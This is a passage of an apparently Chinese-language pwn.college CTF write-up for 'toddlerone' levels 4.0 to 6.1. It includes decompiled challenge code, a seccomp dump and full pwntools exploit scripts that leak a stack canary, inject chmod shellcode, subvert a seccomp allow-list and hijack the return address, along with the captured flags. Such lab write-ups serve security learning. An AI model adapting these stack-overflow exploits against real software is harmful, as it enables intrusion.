padding_to_v14_size = 0x48
backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor
trigger_length = str(len(backdoor_trigger))
padding_to_canary = b"".ljust(0x8, b"A")
padding_to_ret = b"".ljust(0x8, b"A")
v14 = p64(0x49954B5EFDCB2A29)
fixed_offset = 0x1150
def to_hex_bytes(data):
return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target):
try:
target.sendlineafter(b"Payload size: ", trigger_length)
send_payload(target, backdoor_trigger)
target.recvuntil(backdoor)
canary = b"\x00" + target.recv(0x7)
rbp = target.recv(0x6)
log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp]
except Exception as e:
log.exception(f"An error occurred while leaking canary: {e}")
def construct_payload(target):
canary, rbp = leak_data(target)
rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4))
shellcode_length = len(shellcode)
shellcode += b"".ljust(padding_to_v14_size - shellcode_length, b"A")
shellcode += v14
shellcode += padding_to_canary
shellcode += canary
shellcode += padding_to_ret
shellcode += p64(ret_addr)
return shellcode
def attack(target, payload):
try:
os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode()
target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload")
send_payload(target, payload)
response = target.recvall(timeout=5)
log.debug(response.decode("utf-8", errors="ignore"))
try:
with open("./f", "r") as file:
content = file.read()
log.success(content)
return True
except FileNotFoundError:
log.exception("The file './f' does not exist.")
except PermissionError:
log.failure("Permission denied to read './f'.")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch()
payload = construct_payload(target)
attack(target, payload)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{ECpb0UATZ-UymShuFolh7qzxgrx.0VNyMDL5cTNxgzW}

Level 4.1

Information

Description

Write a full exploit involving injecting shellcode, reverse engineering, and a method of tricking the challenge into executing your payload.

Write-up

参见 Level 4.0

Exploit

#!/usr/bin/python3
from pwn import (
ELF,
asm,
context,
gdb,
log,
os,
p64,
process,
remote,
shellcraft,
)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-4-1"
HOST, PORT = "localhost", 1337
gdbscript = """
c
"""
backdoor = b"REPEAT "
padding_size = 0x58
padding_to_v14_size = 0x50
backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor
trigger_length = str(len(backdoor_trigger))
padding_to_ret = b"".ljust(0x8, b"A")
v14 = p64(0x736E2B681CA77DD2)
fixed_offset = 0x1150
def to_hex_bytes(data):
return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target):
try:
target.sendlineafter(b"Payload size: ", trigger_length)
send_payload(target, backdoor_trigger)
target.recvuntil(backdoor)
canary = b"\x00" + target.recv(0x7)
rbp = target.recv(0x6)
log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp]
except Exception as e:
log.exception(f"An error occurred while leaking canary: {e}")
def construct_payload(target):
canary, rbp = leak_data(target)
rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4))
shellcode_length = len(shellcode)
shellcode += b"".ljust(padding_to_v14_size - shellcode_length, b"A")
shellcode += v14
shellcode += canary
shellcode += padding_to_ret
shellcode += p64(ret_addr)
return shellcode
def attack(target, payload):
try:
os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode()
target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload")
send_payload(target, payload)
response = target.recvall(timeout=5)
log.debug(response.decode("utf-8", errors="ignore"))
try:
with open("./f", "r") as file:
content = file.read()
log.success(content)
return True
except FileNotFoundError:
log.exception("The file './f' does not exist.")
except PermissionError:
log.failure("Permission denied to read './f'.")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch()
payload = construct_payload(target)
attack(target, payload)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{UiJc7-6JI988NELrbF-uNpbwc-X.0lNyMDL5cTNxgzW}

Level 5.0

Information

Description

Write a full exploit involving injecting shellcode, reverse engineering, seccomp, and a method of tricking the challenge into executing your payload.

Write-up

50 collapsed lines
__int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3)
{
int *v3; // rax
char *v4; // rax
unsigned int v6; // ebx
const char *v7; // rax
__int64 v8; // [rsp+0h] [rbp-E0h] BYREF
__int64 v9; // [rsp+8h] [rbp-D8h]
__int64 v10; // [rsp+10h] [rbp-D0h]
unsigned int v11; // [rsp+1Ch] [rbp-C4h]
int i; // [rsp+28h] [rbp-B8h]
int v13; // [rsp+2Ch] [rbp-B4h]
size_t nbytes; // [rsp+30h] [rbp-B0h] BYREF
void *buf; // [rsp+38h] [rbp-A8h]
_QWORD *v16; // [rsp+40h] [rbp-A0h]
__int64 v17; // [rsp+48h] [rbp-98h]
_QWORD v18[18]; // [rsp+50h] [rbp-90h] BYREF
__int64 savedregs; // [rsp+E0h] [rbp+0h] BYREF
_UNKNOWN *retaddr; // [rsp+E8h] [rbp+8h] BYREF
v11 = a1;
v10 = a2;
v9 = a3;
v18[15] = __readfsqword(0x28u);
memset(v18, 0, 0x78uLL);
buf = v18;
v16 = &v18[14];
nbytes = 0LL;
v18[14] = 0xE700000001LL;
puts("The challenge() function has just been launched!");
sp_ = (__int64)&v8;
bp_ = (__int64)&savedregs;
sz_ = ((unsigned __int64)((char *)&savedregs - (char *)&v8) >> 3) + 2;
rp_ = (__int64)&retaddr;
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
puts("including the saved base pointer and the saved return address, for a");
printf("total of %d bytes.\n", 8 * sz_);
printf("The input buffer begins at %p, partway through the stack frame,\n", buf);
puts("(\"above\" it in the stack are other local variables used by the function).");
puts("Your input will be read into this buffer.");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 103);
puts("large input length, and thus overflow the buffer.\n");
puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the stack is executable. This means that if the stack contains shellcode");
puts("and you overwrite the return address with the address of that shellcode, it will execute.\n");
cp_ = bp_;
cv_ = __readfsqword(0x28u);
while ( *(_QWORD *)cp_ != cv_ )
cp_ -= 8LL;
printf("Payload size: ");
__isoc99_scanf("%lu", &nbytes);
printf("You have chosen to send %lu bytes of input!\n", nbytes);
printf("This will allow you to write from %p (the start of the input buffer)\n", buf);
printf(
1 collapsed line
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n",
(char *)buf + nbytes,
nbytes - 103);
printf("Send your payload (up to %lu bytes)!\n", nbytes);
v13 = read(0, buf, nbytes);
if ( v13 < 0 )
{
v3 = __errno_location();
12 collapsed lines
v4 = strerror(*v3);
printf("ERROR: Failed to read input -- %s!\n", v4);
exit(1);
}
printf("You sent %d bytes!\n", v13);
puts("Let's see what happened with the stack:\n");
DUMP_STACK(sp_, sz_);
puts("The program's memory status:");
printf("- the input buffer starts at %p\n", buf);
printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_);
printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_);
printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_);
printf("- the canary is stored at %p.\n", (const void *)cp_);
printf("- the canary value is now %p.\n", *(const void **)cp_);
putchar(10);
printf("You said: %s\n", (const char *)buf);
puts("This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()");
puts("call to see the hidden backdoor!");
if ( strstr((const char *)buf, "REPEAT") )
{
puts("Backdoor triggered! Repeating challenge()");
return challenge(v11, v10, v9);
}
else
{
puts("This challenge will, by default, initialize a seccomp filter jail before exiting");
puts("the challenge function. You will have to reverse engineer the program to");
puts("understand how to avoid this.");
if ( v18[13] == 0x484D17DF2438CECFLL )
{
puts("Jail avoided! Continuing execution.");
}
else
{
puts("Restricting system calls (default: kill)");
16 collapsed lines
v17 = seccomp_init(0LL);
for ( i = 0; i <= 1; ++i )
{
v6 = *((_DWORD *)v16 + i);
v7 = (const char *)seccomp_syscall_resolve_num_arch(0LL, v6);
printf("Allowing syscall: %s (number %i)\n", v7, v6);
if ( (unsigned int)seccomp_rule_add(v17, 2147418112LL, *((unsigned int *)v16 + i), 0LL) )
__assert_fail(
"seccomp_rule_add(ctx, SCMP_ACT_ALLOW, syscalls_allowed[i], 0) == 0",
"/challenge/toddlerone-level-5-0.c",
0x9Eu,
"challenge");
}
if ( (unsigned int)seccomp_load(v17) )
__assert_fail("seccomp_load(ctx) == 0", "/challenge/toddlerone-level-5-0.c", 0xA1u, "challenge");
}
puts("Goodbye!");
return 0LL;
}
}

我本以为是要 bypass seccomp 的题,没想到根本用不着动脑子……

v18[13] == 0x484D17DF2438CECF seccomp 就形同虚设了。试问这题和前面两题有啥区别吗,是不是这题就是个引子,后面有真正的 seccomp 玩呀 LOL

值得注意的是这里我们泄漏出来的 rbp 并不是真正的 rbp,而是一些其它的栈内数据,它后面也有别的返回地址,不过都覆盖掉好像也没啥问题,目的达到了就好~

我只是想说,我懒得改变量名了,总之解释清楚别误解了就好哈哈哈。

Exploit

#!/usr/bin/python3
from pwn import (
ELF,
asm,
context,
gdb,
log,
os,
p64,
process,
remote,
shellcraft,
)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-5-0"
HOST, PORT = "localhost", 1337
gdbscript = """
c
"""
backdoor = b"REPEAT "
padding_size = 0x78
padding_to_v18_size = 0x68
backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor
trigger_length = str(len(backdoor_trigger))
padding_to_canary = b"".ljust(0x8, b"A")
padding_to_ret = b"".ljust(0x18, b"A")
v18 = p64(0x484D17DF2438CECF)
fixed_offset = 0x11C0
def to_hex_bytes(data):
return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target):
try:
target.sendlineafter(b"Payload size: ", trigger_length)
send_payload(target, backdoor_trigger)
response = target.recvuntil(backdoor)
log.debug(response.decode("utf-8", errors="ignore"))
canary = b"\x00" + target.recv(0x7)
rbp = target.recv(0x6)
log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp]
except Exception as e:
log.exception(f"An error occurred while leaking canary: {e}")
def construct_payload(target):
canary, rbp = leak_data(target)
rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4))
shellcode_length = len(shellcode)
shellcode += b"".ljust(padding_to_v18_size - shellcode_length, b"A")
shellcode += v18
shellcode += padding_to_canary
shellcode += canary
shellcode += padding_to_ret
shellcode += p64(ret_addr)
return shellcode
def attack(target, payload):
try:
os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode()
target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload")
send_payload(target, payload)
response = target.recvall(timeout=5)
log.debug(response.decode("utf-8", errors="ignore"))
try:
with open("./f", "r") as file:
content = file.read()
log.success(content)
return True
except FileNotFoundError:
log.exception("The file './f' does not exist.")
except PermissionError:
log.failure("Permission denied to read './f'.")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch()
payload = construct_payload(target)
attack(target, payload)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{k8hu05Nam_pIp8PRsZsT8XQmYSZ.01NyMDL5cTNxgzW}

Level 5.1

Information

Description

Write a full exploit involving injecting shellcode, reverse engineering, seccomp, and a method of tricking the challenge into executing your payload.

Write-up

参见 Level 5.0

Exploit

#!/usr/bin/python3
from pwn import (
ELF,
asm,
context,
gdb,
log,
os,
p64,
process,
remote,
shellcraft,
)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-5-1"
HOST, PORT = "localhost", 1337
gdbscript = """
c
"""
backdoor = b"REPEAT "
padding_size = 0x58
padding_to_v13_size = 0x40
backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor
trigger_length = str(len(backdoor_trigger))
padding_to_canary = b"".ljust(0x10, b"A")
padding_to_ret = b"".ljust(0x8, b"A")
v13 = p64(0x4887233ABFEDC049)
fixed_offset = 0x1160
def to_hex_bytes(data):
return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target):
try:
target.sendlineafter(b"Payload size: ", trigger_length)
send_payload(target, backdoor_trigger)
response = target.recvuntil(backdoor)
log.debug(response.decode("utf-8", errors="ignore"))
canary = b"\x00" + target.recv(0x7)
rbp = target.recv(0x6)
log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp]
except Exception as e:
log.exception(f"An error occurred while leaking canary: {e}")
def construct_payload(target):
canary, rbp = leak_data(target)
rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4))
shellcode_length = len(shellcode)
shellcode += b"".ljust(padding_to_v13_size - shellcode_length, b"A")
shellcode += v13
shellcode += padding_to_canary
shellcode += canary
shellcode += padding_to_ret
shellcode += p64(ret_addr)
return shellcode
def attack(target, payload):
try:
os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode()
target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload")
send_payload(target, payload)
response = target.recvall(timeout=5)
log.debug(response.decode("utf-8", errors="ignore"))
try:
with open("./f", "r") as file:
content = file.read()
log.success(content)
return True
except FileNotFoundError:
log.exception("The file './f' does not exist.")
except PermissionError:
log.failure("Permission denied to read './f'.")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch()
payload = construct_payload(target)
attack(target, payload)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{w8_cw1WNbjdmbd10XDPrPKfumT5.0FOyMDL5cTNxgzW}

Level 6.0

Information

Description

Write a full exploit involving injecting shellcode, reverse engineering, seccomp, and a method of tricking the challenge into executing your payload.

Write-up

24 collapsed lines
__int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3)
{
int *v3; // rax
char *v4; // rax
unsigned int v6; // ebx
const char *v7; // rax
__int64 v8; // [rsp+0h] [rbp-F0h] BYREF
__int64 v9; // [rsp+8h] [rbp-E8h]
__int64 v10; // [rsp+10h] [rbp-E0h]
unsigned int v11; // [rsp+1Ch] [rbp-D4h]
int i; // [rsp+28h] [rbp-C8h]
int v13; // [rsp+2Ch] [rbp-C4h]
size_t nbytes; // [rsp+30h] [rbp-C0h] BYREF
void *buf; // [rsp+38h] [rbp-B8h]
_DWORD *v16; // [rsp+40h] [rbp-B0h]
__int64 v17; // [rsp+48h] [rbp-A8h]
_DWORD v18[34]; // [rsp+50h] [rbp-A0h] BYREF
unsigned __int64 v19; // [rsp+D8h] [rbp-18h]
__int64 savedregs; // [rsp+F0h] [rbp+0h] BYREF
_UNKNOWN *retaddr; // [rsp+F8h] [rbp+8h] BYREF
v11 = a1;
v10 = a2;
v9 = a3;
v19 = __readfsqword(0x28u);
memset(v18, 0, 0x78uLL);
buf = v18;
v16 = &v18[29];
nbytes = 0LL;
v18[29] = 1;
v18[30] = 231;
puts("The challenge() function has just been launched!");
sp_ = (__int64)&v8;
bp_ = (__int64)&savedregs;
18 collapsed lines
sz_ = ((unsigned __int64)((char *)&savedregs - (char *)&v8) >> 3) + 2;
rp_ = (__int64)&retaddr;
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
puts("including the saved base pointer and the saved return address, for a");
printf("total of %d bytes.\n", 8 * sz_);
printf("The input buffer begins at %p, partway through the stack frame,\n", buf);
puts("(\"above\" it in the stack are other local variables used by the function).");
puts("Your input will be read into this buffer.");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 114);
puts("large input length, and thus overflow the buffer.\n");
puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the stack is executable. This means that if the stack contains shellcode");
puts("and you overwrite the return address with the address of that shellcode, it will execute.\n");
cp_ = bp_;
cv_ = __readfsqword(0x28u);
while ( *(_QWORD *)cp_ != cv_ )
cp_ -= 8LL;
printf("Payload size: ");
__isoc99_scanf("%lu", &nbytes);
printf("You have chosen to send %lu bytes of input!\n", nbytes);
printf("This will allow you to write from %p (the start of the input buffer)\n", buf);
printf(
1 collapsed line
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n",
(char *)buf + nbytes,
nbytes - 114);
printf("Send your payload (up to %lu bytes)!\n", nbytes);
v13 = read(0, buf, nbytes);
if ( v13 < 0 )
{
v3 = __errno_location();
12 collapsed lines
v4 = strerror(*v3);
printf("ERROR: Failed to read input -- %s!\n", v4);
exit(1);
}
printf("You sent %d bytes!\n", v13);
puts("Let's see what happened with the stack:\n");
DUMP_STACK(sp_, sz_);
puts("The program's memory status:");
printf("- the input buffer starts at %p\n", buf);
printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_);
printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_);
printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_);
printf("- the canary is stored at %p.\n", (const void *)cp_);
printf("- the canary value is now %p.\n", *(const void **)cp_);
putchar(10);
printf("You said: %s\n", (const char *)buf);
puts("This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()");
puts("call to see the hidden backdoor!");
if ( strstr((const char *)buf, "REPEAT") )
{
puts("Backdoor triggered! Repeating challenge()");
return challenge(v11, v10, v9);
}
else
{
puts("Restricting system calls (default: kill)");
v17 = seccomp_init(0LL);
for ( i = 0; i <= 1; ++i )
{
v6 = v16[i];
v7 = (const char *)seccomp_syscall_resolve_num_arch(0LL, v6);
printf("Allowing syscall: %s (number %i)\n", v7, v6);
if ( (unsigned int)seccomp_rule_add(v17, 2147418112LL, (unsigned int)v16[i], 0LL) )
__assert_fail(
"seccomp_rule_add(ctx, SCMP_ACT_ALLOW, syscalls_allowed[i], 0) == 0",
"/challenge/toddlerone-level-6-0.c",
0x97u,
"challenge");
}
if ( (unsigned int)seccomp_load(v17) )
__assert_fail("seccomp_load(ctx) == 0", "/challenge/toddlerone-level-6-0.c", 0x9Au, "challenge");
puts("Goodbye!");
return 0LL;
}
}

得,果不出我所料,这 seccomp 不就来了嘛~

其实不用 seccomp-tools 也行,不过这里也贴一下好啦:

line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0007
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

seccomp_rule_add 会允许 v16[i] 处保存的系统调用,v16[i] 处保存的两个默认系统调用分别是 write (1)exit_group (231),究其原因是因为程序执行完 seccomp 后还需要调用 puts 函数,而 puts 函数就需要这两个系统调用才可以执行。

所以我们有两个可用的系统调用可以发挥(怎么发挥?栈溢出过去覆盖成自己的~),这里还是选择 chmod,允许了 chmod 后还需要允许 write 才可以成功执行 chmod,我猜应该是因为 chmod 会去修改 inode 中保存的权限信息,而修改它需要 write 系统调用,所以使用 chmod 的话我们必须同时允许 write 才行。

需要注意的就是必须先允许主要系统调用,再允许其内部依赖的系统调用,否则 seccomp 会直接阻止主要调用。

Exploit

#!/usr/bin/python3
from pwn import (
ELF,
asm,
context,
gdb,
log,
os,
p32,
p64,
process,
remote,
shellcraft,
)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-6-0"
HOST, PORT = "localhost", 1337
gdbscript = """
c
"""
backdoor = b"REPEAT "
padding_size = 0x88
backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor
trigger_length = str(len(backdoor_trigger))
allowed_syscall_offset = 0x74
padding_to_ret = b"".ljust(0x18, b"A")
fixed_offset = 0x11E0
def to_hex_bytes(data):
return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target):
try:
target.sendlineafter(b"Payload size: ", trigger_length)
send_payload(target, backdoor_trigger)
response = target.recvuntil(backdoor)
log.debug(response.decode("utf-8", errors="ignore"))
canary = b"\x00" + target.recv(0x7)
rbp = target.recv(0x6)
log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp]
except Exception as e:
log.exception(f"An error occurred while leaking canary: {e}")
def construct_payload(target):
canary, rbp = leak_data(target)
rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4))
shellcode_length = len(shellcode)
shellcode += b"".ljust(allowed_syscall_offset - shellcode_length, b"A")
shellcode += p32(0x5A) # SYS_chmod
shellcode += p32(0x01) # SYS_write
shellcode += b"".ljust(padding_size - (allowed_syscall_offset + 0x8), b"A")
shellcode += canary
shellcode += padding_to_ret
shellcode += p64(ret_addr)
return shellcode
def attack(target, payload):
try:
os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode()
target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload")
send_payload(target, payload)
response = target.recvall(timeout=5)
log.debug(response.decode("utf-8", errors="ignore"))
try:
with open("./f", "r") as file:
content = file.read()
log.success(content)
return True
except FileNotFoundError:
log.exception("The file './f' does not exist.")
except PermissionError:
log.failure("Permission denied to read './f'.")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch()
payload = construct_payload(target)
attack(target, payload)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{Uh7pFxiL1QPHZzDdWNmvsW7FH_Y.0VOyMDL5cTNxgzW}

Level 6.1

Information

Description

Write a full exploit involving injecting shellcode, reverse engineering, seccomp, and a method of tricking the challenge into executing your payload.

Write-up

参见 Level 6.0

Exploit

#!/usr/bin/python3
from pwn import (
ELF,
asm,
context,
gdb,
log,
os,
p32,
p64,
process,
remote,
shellcraft,
)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-6-1"
HOST, PORT = "localhost", 1337
gdbscript = """
c
"""
backdoor = b"REPEAT "
padding_size = 0x38
backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor
trigger_length = str(len(backdoor_trigger))
allowed_syscall_offset = 0x2C
padding_to_ret = b"".ljust(0x8, b"A")
fixed_offset = 0x1120
def to_hex_bytes(data):
return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target):
try:
target.sendlineafter(b"Payload size: ", trigger_length)
send_payload(target, backdoor_trigger)
response = target.recvuntil(backdoor)
log.debug(response.decode("utf-8", errors="ignore"))
canary = b"\x00" + target.recv(0x7)
rbp = target.recv(0x6)
log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp]
except Exception as e:
log.exception(f"An error occurred while leaking canary: {e}")
def construct_payload(target):
canary, rbp = leak_data(target)
rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4))
shellcode_length = len(shellcode)
shellcode += b"".ljust(allowed_syscal